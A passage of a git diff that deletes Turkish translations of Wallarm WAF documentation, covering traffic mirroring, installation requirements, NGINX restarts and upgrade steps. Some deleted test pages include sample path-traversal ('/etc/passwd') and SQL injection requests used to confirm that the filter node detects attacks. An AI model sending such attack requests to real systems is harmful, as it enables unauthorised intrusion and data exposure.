a/include-tr/waf/installation/oob/steps-for-mirroring-linux.md b/include-tr/waf/installation/oob/steps-for-mirroring-linux.md deleted file mode 100644 index fe4904f7f3..0000000000 --- a/include-tr/waf/installation/oob/steps-for-mirroring-linux.md +++ /dev/null @@ -1,33 +0,0 @@ -Varsayılan olarak, dağıtılan Wallarm node gelen trafiği analiz etmez. - -Yüklü node bulunan makinede, Wallarm’ın yansıtılmış trafiği işlemesi için `/etc/nginx/conf.d/default.conf` dosyasında aşağıdaki yapılandırmayı uygulayın: - -1. Wallarm node’un yansıtılmış trafiği kabul etmesi için `server` NGINX bloğunda aşağıdaki yapılandırmayı yapın: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # 222.222.222.22 değerini yansıtma sunucusunun adresiyle değiştirin - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * `set_real_ip_from` ve `real_ip_header` yönergeleri, Wallarm Console’un [saldırganların IP adreslerini görüntülemesi][proxy-balancer-instr] için gereklidir. - * `wallarm_force_response_*` yönergeleri, yansıtılmış trafikten alınan kopyalar dışında tüm isteklerin analizini devre dışı bırakmak için gereklidir. -1. Wallarm node’un yansıtılmış trafiği analiz etmesi için `wallarm_mode` yönergesini `monitoring` olarak ayarlayın: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Kötü amaçlı istekler [engellenemez][oob-advantages-limitations] olduğundan, Wallarm’ın kabul ettiği tek [kip][waf-mode-instr] monitoring’dir. In-line dağıtım için güvenli engelleme ve engelleme kipleri de vardır, ancak `wallarm_mode` yönergesini monitoring’den farklı bir değere ayarlasanız bile, node trafiği izlemeye devam eder ve yalnızca kötü amaçlı trafiği kaydeder (off olarak ayarlanmış kip hariç). \ No newline at end of file diff --git a/include-tr/waf/installation/quick-start-configuration-options-4.4.md b/include-tr/waf/installation/quick-start-configuration-options-4.4.md deleted file mode 100644 index 2cfeb259cc..0000000000 --- a/include-tr/waf/installation/quick-start-configuration-options-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -* Trafik filtreleme modunun yapılandırılması [operation-mode-rule-docs] -* Trafik filtreleme kurallarının özelleştirilmesi [rules-docs] -* IP adreslerini izin listesine alma, engelleme listesine alma ve gri listeye alma [ip-lists-docs] -* Sistem olay bildirimleri [DevOps araçlarıyla yerel entegrasyonlar][integration-docs] ve [tetikleyiciler][trigger-docs] aracılığıyla yapılandırılır \ No newline at end of file diff --git a/include-tr/waf/installation/quick-start-configuration-options.md b/include-tr/waf/installation/quick-start-configuration-options.md deleted file mode 100644 index 4d6f60f518..0000000000 --- a/include-tr/waf/installation/quick-start-configuration-options.md +++ /dev/null @@ -1,5 +0,0 @@ -* [Trafik filtreleme modunun yapılandırılması][operation-mode-rule-docs] -* [Trafik filtreleme kurallarının özelleştirilmesi][rules-docs] -* [IP adreslerinin allowlist'e, denylist'e ve graylist'e alınması][ip-lists-docs] -* [DevOps araçlarıyla yerel entegrasyonlar][integration-docs] ve [triggers][trigger-docs] aracılığıyla yapılandırılan sistem olay bildirimleri -* [**libdetection** ile saldırıların çift tespiti][enable-libdetection-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/requirements-docker-nginx-4.0.md b/include-tr/waf/installation/requirements-docker-nginx-4.0.md deleted file mode 100644 index bfbc029001..0000000000 --- a/include-tr/waf/installation/requirements-docker-nginx-4.0.md +++ /dev/null @@ -1,7 +0,0 @@ -* Ana makinenizde [Docker](https://docs.docker.com/engine/install/) kurulu -* Docker imajını indirmek için `https://hub.docker.com/r/wallarm/node` adresine erişim. Lütfen bu erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) üzerinde Wallarm Console içinde **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` adresine, EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Lütfen bu erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kurallarının güncellemelerini indirmek ve [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/requirements-docker-nginx-latest.md b/include-tr/waf/installation/requirements-docker-nginx-latest.md deleted file mode 100644 index 811043c071..0000000000 --- a/include-tr/waf/installation/requirements-docker-nginx-latest.md +++ /dev/null @@ -1,7 +0,0 @@ -* Ana makinenizde [Docker](https://docs.docker.com/engine/install/) yüklü -* Docker imajını indirmek için `https://hub.docker.com/r/wallarm/node` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* US Cloud veya EU Cloud üzerindeki Wallarm Console'da **Administrator** rolüne sahip hesaba erişim: [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ile [API spesifikasyonları][api-policy-enf-docs] güncellemelerini indirmek ve allowlisted, denylisted veya graylisted [ülkeleriniz, bölgeleriniz veya veri merkezleriniz][ip-lists-docs] için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/requirements-docker.md b/include-tr/waf/installation/requirements-docker.md deleted file mode 100644 index d7877747b8..0000000000 --- a/include-tr/waf/installation/requirements-docker.md +++ /dev/null @@ -1,2 +0,0 @@ -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) içinde **Deploy** veya **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com:444` adresine veya EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com:444` adresine erişim. Lütfen erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun \ No newline at end of file diff --git a/include-tr/waf/installation/requirements-nginx-ingress-controller-4.10.md b/include-tr/waf/installation/requirements-nginx-ingress-controller-4.10.md deleted file mode 100644 index b313830051..0000000000 --- a/include-tr/waf/installation/requirements-nginx-ingress-controller-4.10.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetes platformu sürüm 1.24-1.27 -* [Helm](https://helm.sh/) paket yöneticisi -* Hizmetlerinizin [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) 1.9.5 sürümüyle uyumluluğu -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim -* Wallarm Helm chart'larını eklemek için `https://charts.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Docker Hub'daki Wallarm depolarına `https://hub.docker.com/r/wallarm` erişimi. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kurallarına ve [API spesifikasyonlarına][api-spec-enforcement-docs] yönelik güncellemeleri indirmek ve [allowlisted, denylisted veya graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak üzere aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/requirements-nginx-ingress-controller-latest.md b/include-tr/waf/installation/requirements-nginx-ingress-controller-latest.md deleted file mode 100644 index eec67b0ab5..0000000000 --- a/include-tr/waf/installation/requirements-nginx-ingress-controller-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetes platformu sürüm 1.26-1.30 -* [Helm](https://helm.sh/) paket yöneticisi -* Hizmetlerinizin [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) sürüm 1.11.8 ile uyumluluğu -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console içinde **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim -* Wallarm Helm chart'larını eklemek için `https://charts.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Docker Hub üzerindeki Wallarm depolarına `https://hub.docker.com/r/wallarm` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ve [API özellikleri][api-spec-enforcement-docs] güncellemelerini indirmek ve ayrıca [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için doğru IP adreslerini almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/requirements-nginx-ingress-controller.md b/include-tr/waf/installation/requirements-nginx-ingress-controller.md deleted file mode 100644 index 0d43259872..0000000000 --- a/include-tr/waf/installation/requirements-nginx-ingress-controller.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetes platformu 1.24-1.27 sürümleri -* [Helm](https://helm.sh/) paket yöneticisi -* Hizmetlerinizin [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) sürüm 1.9.5 ile uyumluluğu -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim -* Wallarm Helm chart'larını eklemek için `https://charts.wallarm.com` adresine erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Docker Hub üzerindeki Wallarm depolarına (`https://hub.docker.com/r/wallarm`) erişim. Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları güncellemelerini indirmek ve [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/restart-nginx-systemctl.md b/include-tr/waf/installation/restart-nginx-systemctl.md deleted file mode 100644 index 68d992f2ee..0000000000 --- a/include-tr/waf/installation/restart-nginx-systemctl.md +++ /dev/null @@ -1,5 +0,0 @@ -Aşağıdaki komutu kullanarak NGINX'i yeniden başlatın: - -```bash -sudo systemctl restart nginx -``` \ No newline at end of file diff --git a/include-tr/waf/installation/security-edge/connector-troubleshooting.md b/include-tr/waf/installation/security-edge/connector-troubleshooting.md deleted file mode 100644 index f5d8cbfcf0..0000000000 --- a/include-tr/waf/installation/security-edge/connector-troubleshooting.md +++ /dev/null @@ -1,2 +0,0 @@ -* Wallarm Console içindeki Wallarm tarafından barındırılan düğüm durumu **Failed** ise, dağıtımda bir sorun oluştu. Lütfen bunu [Wallarm Destek portalı](https://support.wallarm.com/) üzerinden bildirin; inceleyeceğiz. -* Diğer tüm sorunlar veya destek ihtiyaçları için de lütfen [Wallarm Destek portalı](https://support.wallarm.com/) üzerinden talep bırakın. Her türlü dağıtım sorununda yardımcı olmak için hazırız. \ No newline at end of file diff --git a/include-tr/waf/installation/sending-traffic-to-node-inline-oob-latest.md b/include-tr/waf/installation/sending-traffic-to-node-inline-oob-latest.md deleted file mode 100644 index fe29521acd..0000000000 --- a/include-tr/waf/installation/sending-traffic-to-node-inline-oob-latest.md +++ /dev/null @@ -1,21 +0,0 @@ -Kullanılan dağıtım yaklaşımına bağlı olarak aşağıdaki ayarları uygulayın: - -=== "Hat içi" - Trafiği Wallarm örneğine gönderecek şekilde yük dengeleyicinizin hedeflerini güncelleyin. Ayrıntılar için lütfen yük dengeleyicinizin belgelerine bakın. -=== "Bant dışı" - 1. Gelen trafiği Wallarm node'una yansıtacak şekilde web veya proxy sunucunuzu (örn. NGINX, Envoy) yapılandırın. Yapılandırma ayrıntıları için web veya proxy sunucunuzun belgelerine başvurmanızı öneririz. - - [bağlantıda][web-server-mirroring-examples], en popüler web ve proxy sunucuları (NGINX, Traefik, Envoy) için örnek yapılandırmayı bulacaksınız. - 1. Wallarm filtering node'unun çalıştığı makinedeki `/etc/nginx/sites-enabled/default` dosyasına aşağıdaki yapılandırmayı ekleyin: - - ``` - location / { - include /etc/nginx/presets.d/mirror.conf; - - # 222.222.222.22 değerini yansıtma sunucusunun adresiyle değiştirin - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - } - ``` - - `set_real_ip_from` ve `real_ip_header` yönergeleri, Wallarm Console'un [saldırganların IP adreslerini görüntülemesini][real-ip-docs] sağlamak için gereklidir. \ No newline at end of file diff --git a/include-tr/waf/installation/sending-traffic-to-node-inline-oob.md b/include-tr/waf/installation/sending-traffic-to-node-inline-oob.md deleted file mode 100644 index 5916bffd08..0000000000 --- a/include-tr/waf/installation/sending-traffic-to-node-inline-oob.md +++ /dev/null @@ -1,8 +0,0 @@ -Kullanılan dağıtım yaklaşımına bağlı olarak aşağıdaki ayarları yapın: - -=== "Satır içi" - Yük dengeleyicinizin hedeflerini güncelleyerek trafiği Wallarm örneğine yönlendirin. Ayrıntılar için yük dengeleyicinizin belgelerine bakın. -=== "Bant dışı" - Web veya proxy sunucunuzu (örn. NGINX, Envoy) gelen trafiği Wallarm düğümüne yansıtacak şekilde yapılandırın. Yapılandırma ayrıntıları için web veya proxy sunucunuzun belgelerine başvurmanızı öneririz. - - Şuradaki [bağlantı][web-server-mirroring-examples] içinde, en popüler web ve proxy sunucuları (NGINX, Traefik, Envoy) için örnek yapılandırmaları bulabilirsiniz. \ No newline at end of file diff --git a/include-tr/waf/installation/sending-traffic-to-node-inline.md b/include-tr/waf/installation/sending-traffic-to-node-inline.md deleted file mode 100644 index c1e9abd207..0000000000 --- a/include-tr/waf/installation/sending-traffic-to-node-inline.md +++ /dev/null @@ -1 +0,0 @@ -Yük dengeleyicinizin hedeflerini Wallarm örneğine trafik gönderecek şekilde güncelleyin. Ayrıntılar için yük dengeleyicinizin belgelerine başvurun. \ No newline at end of file diff --git a/include-tr/waf/installation/sending-traffic-to-node-oob.md b/include-tr/waf/installation/sending-traffic-to-node-oob.md deleted file mode 100644 index c09d50d3a5..0000000000 --- a/include-tr/waf/installation/sending-traffic-to-node-oob.md +++ /dev/null @@ -1,3 +0,0 @@ -Dağıttığınız Wallarm node bulunan bir örneğe (örnek sunucuya) gelen trafiği yansıtacak şekilde ortamınızı yapılandırın. Yapılandırma ayrıntıları için, trafik yansıtmasını oluşturmak üzere kullanacağınız çözüme (web sunucusu, vekil sunucu vb.) ait belgelere başvurmanızı öneririz. - -[bağlantı][web-server-mirroring-examples] içinde, NGINX, Traefik, Envoy için örnek yapılandırmaları bulacaksınız. \ No newline at end of file diff --git a/include-tr/waf/installation/sidecar-proxy-reqs-latest.md b/include-tr/waf/installation/sidecar-proxy-reqs-latest.md deleted file mode 100644 index 5a30071d90..0000000000 --- a/include-tr/waf/installation/sidecar-proxy-reqs-latest.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetes platformu sürümü 1.19-1.29 -* [Helm v3](https://helm.sh/) paket yöneticisi -* Bir Kubernetes kümesinde Pod olarak dağıtılmış bir uygulama -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim -* Wallarm Helm chart'larını eklemek için `https://charts.wallarm.com` adresine erişim -* Docker Hub üzerindeki Wallarm depolarına `https://hub.docker.com/r/wallarm` erişim -* Saldırı tespiti kuralları ve [API spesifikasyonları][api-spec-enforcement-docs] güncellemelerini indirmek ve ayrıca [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip hesaba erişim \ No newline at end of file diff --git a/include-tr/waf/installation/sidecar-proxy-reqs.md b/include-tr/waf/installation/sidecar-proxy-reqs.md deleted file mode 100644 index de8e391a84..0000000000 --- a/include-tr/waf/installation/sidecar-proxy-reqs.md +++ /dev/null @@ -1,10 +0,0 @@ -* Kubernetes platformu sürüm 1.19-1.29 -* [Helm v3](https://helm.sh/) paket yöneticisi -* Kubernetes kümesinde bir Pod olarak dağıtılmış bir uygulama -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` ya da EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com` adresine erişim -* Wallarm Helm chart'lerini eklemek için `https://charts.wallarm.com` adresine erişim -* Docker Hub üzerindeki Wallarm depolarına erişim `https://hub.docker.com/r/wallarm` -* Saldırı tespit kurallarının güncellemelerini indirmek ve ayrıca [allowlisted, denylisted veya graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim \ No newline at end of file diff --git a/include-tr/waf/installation/test-after-node-type-upgrade.md b/include-tr/waf/installation/test-after-node-type-upgrade.md deleted file mode 100644 index 9f01e628ba..0000000000 --- a/include-tr/waf/installation/test-after-node-type-upgrade.md +++ /dev/null @@ -1,17 +0,0 @@ -1. Test [Dizin Geçişi][ptrav-attack-docs] saldırısını içeren isteği uygulama adresine gönderin: - - ``` - curl http://localhost/etc/passwd - ``` - - Trafik `example.com` adresine proxy üzerinden yönlendirilecek şekilde yapılandırıldıysa, isteğe `-H "Host: example.com"` başlığını ekleyin. -1. Yeni türdeki node'un isteği **standart** node'un yaptığı şekilde işlediğinden emin olun; örneğin: - - * Uygun [filtreleme modu][waf-mode-instr] yapılandırıldıysa isteği engeller. - * Yapılandırıldıysa [özel engelleme sayfasını][blocking-page-instr] döndürür. -2. [EU Cloud](https://my.wallarm.com/attacks) veya [US Cloud](https://us1.my.wallarm.com/attacks) içinde Wallarm Console → **Attacks** bölümünü açın ve şunları doğrulayın: - - * Saldırı listede görüntülenir. - * Hit details, Wallarm node UUID bilgisini gösterir. - - ![Arayüzdeki Attacks][attacks-in-ui-image] \ No newline at end of file diff --git a/include-tr/waf/installation/test-waf-operation-no-stats-for-deprecated.md b/include-tr/waf/installation/test-waf-operation-no-stats-for-deprecated.md deleted file mode 100644 index 51299f23d3..0000000000 --- a/include-tr/waf/installation/test-waf-operation-no-stats-for-deprecated.md +++ /dev/null @@ -1,7 +0,0 @@ -1. Test [SQLI][sqli-attack-docs] ve [XSS][xss-attack-docs] saldırılarını içeren isteği korunan kaynağın adresine gönderin: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` -2. [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde Wallarm Console → **Attacks** bölümünü açın ve saldırıların listede görüntülendiğinden emin olun. - ![Arayüzdeki Attacks][attacks-in-ui-image] \ No newline at end of file diff --git a/include-tr/waf/installation/test-waf-operation-no-stats.md b/include-tr/waf/installation/test-waf-operation-no-stats.md deleted file mode 100644 index de95382ef7..0000000000 --- a/include-tr/waf/installation/test-waf-operation-no-stats.md +++ /dev/null @@ -1,12 +0,0 @@ -1. Korunan bir kaynak adresine test [Dizin Geçişi][ptrav-attack-docs] saldırısıyla istek gönderin: - - ``` - curl http://localhost/etc/passwd - ``` - - Trafik `example.com` adresine proxy üzerinden iletilecek şekilde yapılandırıldıysa, isteğe `-H "Host: example.com"` başlığını ekleyin. -1. Wallarm Console → [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içindeki **Attacks** bölümünü açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - -1. İsteğe bağlı olarak, düğümün çalışmasının diğer yönlerini [test edin][link-wallarm-health-check]. \ No newline at end of file diff --git a/include-tr/waf/installation/upgrade-methods.md b/include-tr/waf/installation/upgrade-methods.md deleted file mode 100644 index b9eac5a58c..0000000000 --- a/include-tr/waf/installation/upgrade-methods.md +++ /dev/null @@ -1,4 +0,0 @@ -İki farklı şekilde yükseltme yapabilirsiniz: - -* Yükseltme işlemi sırasında [tümü bir arada yükleyici](#upgrade-with-all-in-one-installer) kullanımına geçin. Bu, NGINX ve OS sürümünün belirlenmesi, uygun Wallarm depolarının eklenmesi, paketlerin kurulması ve diğerleri gibi çeşitli düğüm kurulum ve yükseltme işlemlerini otomatikleştirdiği için önerilen yaklaşımdır. -* Mevcut [manuel](#manual-upgrade) kurulum yöntemini, tekil DEB/RPM paketleri aracılığıyla kullanmaya devam edin. Ancak, sonraki yükseltmelerde bu yaklaşımın yeni yöntemle karşılaştırıldığında ek çaba ve manuel yapılandırma gerektireceğini unutmamak önemlidir. \ No newline at end of file diff --git a/include-tr/waf/restart-nginx-2.16.md b/include-tr/waf/restart-nginx-2.16.md deleted file mode 100644 index 723e969df4..0000000000 --- a/include-tr/waf/restart-nginx-2.16.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/restart-nginx-3.6.md b/include-tr/waf/restart-nginx-3.6.md deleted file mode 100644 index 71060a8354..0000000000 --- a/include-tr/waf/restart-nginx-3.6.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/restart-nginx-4.4-and-above.md b/include-tr/waf/restart-nginx-4.4-and-above.md deleted file mode 100644 index 5508bd93fb..0000000000 --- a/include-tr/waf/restart-nginx-4.4-and-above.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/restart-nginx-4.4.md b/include-tr/waf/restart-nginx-4.4.md deleted file mode 100644 index 5508bd93fb..0000000000 --- a/include-tr/waf/restart-nginx-4.4.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS veya Amazon Linux 2.0.2021x ve altı" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-tr/waf/root_perm_info.md b/include-tr/waf/root_perm_info.md deleted file mode 100644 index 17170c5df9..0000000000 --- a/include-tr/waf/root_perm_info.md +++ /dev/null @@ -1,8 +0,0 @@ -!!! info "Kullanıcıya `root` izni sağlama" - NGINX’i `root` izni olmayan bir kullanıcı olarak çalıştırıyorsanız, aşağıdaki komutu kullanarak bu kullanıcıyı `wallarm` grubuna ekleyin: - - ``` - usermod -aG wallarm ; - ``` - - burada ``, `root` izni olmayan kullanıcının adıdır. \ No newline at end of file diff --git a/include-tr/waf/upgrade/api-port-443.md b/include-tr/waf/upgrade/api-port-443.md deleted file mode 100644 index ea1435b195..0000000000 --- a/include-tr/waf/upgrade/api-port-443.md +++ /dev/null @@ -1,5 +0,0 @@ -4.0 sürümünden itibaren, filtreleme düğümü verileri `us1.api.wallarm.com:443` (US Cloud) ve `api.wallarm.com:443` (EU Cloud) API uç noktalarını kullanarak Cloud’a yükler; `us1.api.wallarm.com:444` ve `api.wallarm.com:444` yerine. - -Düğümü 3.x veya daha düşük bir sürümden yükseltirseniz ve düğümün kurulu olduğu sunucunun harici kaynaklara erişimi kısıtlı olup erişim her bir kaynağa ayrı ayrı tanımlanmışsa, yükseltmeden sonra filtreleme düğümü ile Cloud arasındaki senkronizasyon durur. - -Senkronizasyonu geri yüklemek için, yapılandırmanızda her bir kaynak için API uç noktasının bağlantı noktasını `444` yerine `443` yapın. \ No newline at end of file diff --git a/include-tr/waf/upgrade/details-about-dist-upgrade.md b/include-tr/waf/upgrade/details-about-dist-upgrade.md deleted file mode 100644 index 3fc2546a64..0000000000 --- a/include-tr/waf/upgrade/details-about-dist-upgrade.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Wallarm bağımlılıklarının yükseltilmesi" - `sudo apt dist-upgrade` komutu hem Wallarm paketlerini hem de filtreleme düğümü bağımlılıklarını yükseltir. Daha yeni filtreleme düğümü sürümünün doğru çalışmasını sağlayan önerilen yükseltme seçeneğidir. \ No newline at end of file diff --git a/include-tr/waf/upgrade/migrate-to-overlimit-rule-docker.md b/include-tr/waf/upgrade/migrate-to-overlimit-rule-docker.md deleted file mode 100644 index d886bbe850..0000000000 --- a/include-tr/waf/upgrade/migrate-to-overlimit-rule-docker.md +++ /dev/null @@ -1,24 +0,0 @@ -Sürüm 3.6'dan itibaren, Wallarm Console'daki kuralı kullanarak `overlimit_res` saldırı tespitini ince ayar yapabilirsiniz. - -Önceden, [`wallarm_process_time_limit`][nginx-process-time-limit-docs] ve [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] NGINX yönergeleri kullanılıyordu. - -Listelenen yönergeler ve parametreler, yeni kuralın yayınlanmasıyla kullanımdan kaldırılmış sayılır ve gelecekteki sürümlerde silinecektir. - -`overlimit_res` saldırı tespiti ayarları listelenen parametreler aracılığıyla özelleştirildiyse, bunları aşağıdaki şekilde kurala taşımanız önerilir: - -1. Wallarm Console → **Rules WAF** öğesini açın ve [**Limit request processing time**][overlimit-res-rule-docs] kuralının kurulumuna ilerleyin. -1. Kuralı, mount edilmiş yapılandırma dosyalarında yapıldığı gibi yapılandırın: - - * Düğümün tek bir isteği işlemesi için zaman sınırı (milisaniye): `wallarm_process_time_limit` veya `process_time_limit` değeri. - - !!! warning "Sistem belleğinin tükenmesi riski" - Yüksek zaman sınırı ve/veya sınır aşıldıktan sonra isteğin işlenmesine devam edilmesi, bellek tükenmesine veya zamanında tamamlanamayan istek işlemeye neden olabilir. - - * Düğüm, [node filtration mode][waf-mode-instr] değerine bağlı olarak `overlimit_res` saldırısını engeller veya geçirir: - - * **monitoring** modunda düğüm, orijinal isteği uygulama adresine iletir. Uygulama, işlenen ve işlenmeyen istek bölümlerinde yer alan saldırılar tarafından istismar edilme riski taşır. - * **safe blocking** modunda, istek [graylisted][graylist-docs] bir IP adresinden geliyorsa düğüm isteği engeller. Aksi halde, düğüm orijinal isteği uygulama adresine iletir. Uygulama, işlenen ve işlenmeyen istek bölümlerinde yer alan saldırılar tarafından istismar edilme riski taşır. - * **block** modunda düğüm isteği engeller. -1. Mount edilmiş yapılandırma dosyasından `wallarm_process_time_limit`, `wallarm_process_time_limit_block` NGINX yönergelerini silin. - - `overlimit_res` saldırı tespiti hem parametreler hem de kural kullanılarak ince ayar yapılmışsa, düğüm istekleri kuralın belirlediği şekilde işleyecektir. \ No newline at end of file diff --git a/include-tr/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md b/include-tr/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md deleted file mode 100644 index 391b3e39be..0000000000 --- a/include-tr/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md +++ /dev/null @@ -1,23 +0,0 @@ -Sürüm 3.6 itibarıyla, Wallarm Console içindeki kuralı kullanarak `overlimit_res` saldırı tespitini ince ayar yapabilirsiniz. - -Daha önce, [`wallarm_process_time_limit`][nginx-process-time-limit-docs] ve [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] NGINX yönergeleri kullanılıyordu. Listelenen yönergeler yeni kuralın yayınlanmasıyla kullanım dışı olarak kabul edilmektedir ve gelecekteki sürümlerde kaldırılacaktır. - -`overlimit_res` saldırı tespiti ayarları listelenen yönergelerle özelleştirildiyse, bunları aşağıdaki şekilde kurala taşımanız önerilir: - -1. Wallarm Console → **Rules WAF** öğesini açın ve [**Limit request processing time**][overlimit-res-rule-docs] kuralının yapılandırmasına geçin. -1. Kuralı NGINX yönergelerinde yapıldığı şekilde yapılandırın: - - * Kural koşulu, `wallarm_process_time_limit` ve `wallarm_process_time_limit_block` yönergelerinin 